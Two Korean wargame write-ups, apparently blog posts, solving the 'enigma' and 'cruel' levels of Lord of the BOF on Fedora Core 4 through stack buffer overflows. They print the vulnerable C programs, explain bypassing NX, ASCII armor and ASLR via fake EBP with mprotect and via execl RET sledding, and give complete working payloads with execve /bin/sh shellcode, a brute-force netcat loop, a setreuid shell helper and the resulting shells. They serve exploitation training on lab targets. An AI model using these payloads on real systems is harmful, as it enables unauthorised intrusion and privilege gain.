/*

        The Lord of the BOF : The Fellowship of the BOF

        - enigma

        - Remote BOF on Fedora Core 4

        - hint : ? 

- port : TCP 7777

*/


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>


int vuln(int canary,char *ptr)

{

        char buffer[256];

        int *ret;

        

// stack overflow!!

strcpy(buffer,ptr); 


// overflow protected

        if(canary != 0x31337)

        {

                printf("who broke my canary?!");

                exit(1);

        }


        // preventing RTL

        ret = &canary - 1;

        if((*ret & 0xff000000) == 0) 

        {

                printf("I've an allergy to NULL");

                exit(1);

        }


// clearing attack buffer

memset(ptr, 0, 1024);


        return 0;

}


int main()

{

char buffer[1024];


printf("enigma : The brothers will be glad to have you!\n");

printf("you : ");

fflush(stdout);


// give me a food!

        fgets(buffer, 1024, stdin);


// oops~!

        vuln(0x31337, buffer);

// bye bye

exit(0);

}


프로그램을 설명하자면, main에서 fgets함수로 buffer에 버퍼 크기만큼 입력을 받고, vuln함수에 canary와 buffer를 인자로 넘겨줍니다.

vuln함수에서는 인자로 전달받은 buffer를 지역변수 buffer에 복사를 하는데 overflow가 발생합니다.

그 때 canary를 검사하여 0x31337값이 그대로면 종료하지 않고 RET영역에 들어가는 값과 0xff000000를 &연산을 하여 RET영역이

라이브러리 함수로 overwriting 되었는지 확인하고 라이브러리 함수면 종료한다.

만약 라이브러리 함수가 아니면 그 다음으로 memset을 통해 ptr주소부터 1024바이트 clear시켜줌



그럼 일단 nx bit에 아스키아머가 있고,asrl..음

vuln RET영역에 라이브러리 함수주소도 못쓰고...

할 수 있는건 fget함수가 사용하는 임시버퍼영역을 이용할 것인데, 그 영역을 mprotect함수로 x권한을 준 뒤 쉘코드를 넣고

쉘코드를 실행하게 해주면 nx bit를 우회할 수 있을 것이다. 밑에 그림으로 설명했으니까 그 부분에서 더 자세히 보자.



그런데 임시버퍼영역의 주소가 fedora3에서는 고정이였던 것 같은데 fedora4에서는 랜덤이다.. 확인해보자.


mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fc5000

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7feb000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f5e000

보면 0xb7fxx000  이런식이다. 그럼 저런 형식의 주소 하나를 정해서 브루트포싱 하면 될듯.



일단 fget함수의 임시버퍼영역으로 esp와 ebp를 이동시키기 위해서 필요한 것은 fake ebp기법을 통해

vuln함수가 leave , ret 명령을 할 때 sfp를 임시버퍼영역 주소 중 한 부분으로 overwriting 시켜줌으로써 ebp를 이동시켜주고,

RET영역에 &leaveret 주소를 overwriting 하여 esp를 이동시켜준다.


그림으로 설명하자면,





| AAAA... | SFP | RET | canary | BBBB | &mprotect | &shellcode | &stdin | strlen | rwx | nop+shellcode |



while true; do (python -c 'print "A"*260+"\x10\x91\xf6\xb7"+"\x8e\x85\x04\x08"+"\x37\x13\x03\x00"+"BBBB"+"\x40\xd2\x86\x00"+"\x90\x91\xf6\xb7"+"\x00\x90\xf6\xb7"+"\xe8\x03\x00\x00"+"\x07\x00\x00\x00"+"\x90"*400+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | nc localhost 7777 ; done





enigma : The brothers will be glad to have you!

you : 

enigma : The brothers will be glad to have you!

you : 

enigma : The brothers will be glad to have you!

you : 




id

uid=502(enigma) gid=502(enigma) context=system_u:system_r:inetd_t

my-pass

euid = 502

let me ride


'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora10]titan->balog  (0) 2016.01.06
[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

The Lord of the BOF : The Fellowship of the BOF 

- cruel

- Local BOF on Fedora Core 4

- hint : no more fake ebp, RET sleding on random library

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




이 문제도 strcpy함수에 의해 buffer에 복사할 때 오버플로우가 발생한다.

그러면 execl함수를 사용하여 ret sleding하면서 스택에 박혀있는 쓰레기 값을 첫번째 인자로 만들어 준 뒤

그 첫번째 인자의 문자열을 심볼릭 링크를 걸고 공격하는 방법으로 공략하겠습니다.


[출처] http://smleenull.tistory.com/305

**주의할점**

(execl()함수의 두 번째 인자로 들어가는 값이 0x00000000인 경우엔 segmentation default가 뜬다.)




(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68




(gdb) b* main+109      // ret부분

Breakpoint 1 at 0x8048451

(gdb) r `python -c 'print "A"*260+"BBBB"'`

Starting program: /home/dark_stone/crue3 `python -c 'print "A"*260+"BBBB"'`

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x9b2000

(no debugging symbols found)

(no debugging symbols found)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



Breakpoint 1, 0x08048451 in main ()

(gdb) x/30wx $esp

0xbfc417bc: 0x42424242 0x00000000 0xbfc41844 0xbfc41850

0xbfc417cc: 0xbfc41800 0x00795898 0x007a3878 0xb7f41690

0xbfc417dc: 0x00000001 0x008caff4 0x007a2ca0  0x08048454

0xbfc417ec: 0xbfc41818 0xbfc417c0 0x007bad44 0x00000000

0xbfc417fc:       0x00000000 0x00000000 0x0079ae60 0x0079613d

0xbfc4180c: 0x007a2fb4 0x00000002 0x08048340 0x00000000

0xbfc4181c: 0x08048361 0x080483e4 0x00000002 0xbfc41844

0xbfc4182c: 0x08048454 0x080484b0


(gdb) r
Breakpoint 1, 0x08048451 in main ()
(gdb) x/30wx $esp
0xbfc5e05c: 0x42424242 0x00000000 0xbfc5e0e4 0xbfc5e0f0
0xbfc5e06c: 0xbfc5e0a0 0x00795898 0x007a3878 0xb7f60690
0xbfc5e07c: 0x00000001 0x008caff4 0x007a2ca0 0x08048454
0xbfc5e08c: 0xbfc5e0b8 0xbfc5e060 0x007bad44 0x00000000
0xbfc5e09c: 0x00000000 0x00000000 0x0079ae60 0x0079613d
0xbfc5e0ac: 0x007a2fb4 0x00000002 0x08048340 0x00000000
0xbfc5e0bc: 0x08048361 0x080483e4 0x00000002 0xbfc5e0e4
0xbfc5e0cc: 0x08048454 0x080484b0
(gdb) 

// 저기 밑줄 친 부분들은 여러번 다시 실행시켜도 고정적인 값이다. 그러므로 저 부분을 execl 인자로 사용하여 공략하면 된다.


(gdb) r `python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Breakpoint 1, 0x08048451 in main ()
(gdb) x/30wx $esp
0xbfb7df8c: 0x08048451 0x08048451 0x08048451 0x08048451   // ret주소
0xbfb7df9c: 0x08048451 0x08048451 0x08048451 0x00832d68  // execl 주소
0xbfb7dfac: 0x00000001 0x008caff4 0x007a2ca0 0x08048454  // execl 인자들
0xbfb7dfbc: 0xbfb7dfe8 0xbfb7df90 0x007bad44 0x00000000
0xbfb7dfcc: 0x00000000 0x00000000 0x0079ae60 0x0079613d
0xbfb7dfdc: 0x007a2fb4 0x00000002 0x08048340 0x00000000
0xbfb7dfec: 0x08048361 0x080483e4 0x00000002 0xbfb7e014
0xbfb7dffc: 0x08048454 0x080484b0


그러면 첫번째 인자(실행파일)의 문자열을 구해보자.

(gdb) x/10bx 0x008caff4
0x8caff4: 0x3c 0xad 0x8c 0x00 0x16 0xab 0x7b 0x00
0x8caffc: 0x00 0x00

// 실행 파일명이 0x3c 0xad 0x8c이다.  이 부분을 심볼릭 링크하자.
========================================================
[dark_stone@Fedora_2ndFloor ~]$ cat getsh.c 
#include<stdio.h>

int main()
{
setreuid(501,501);  //501은 cruel uid,gid
system("/bin/sh");
}
========================================================

[dark_stone@Fedora_2ndFloor ~]$ ln -s getsh "`python -c 'print "\x3c\xad\x8c"'`"



[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh- 

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22

+ Recent posts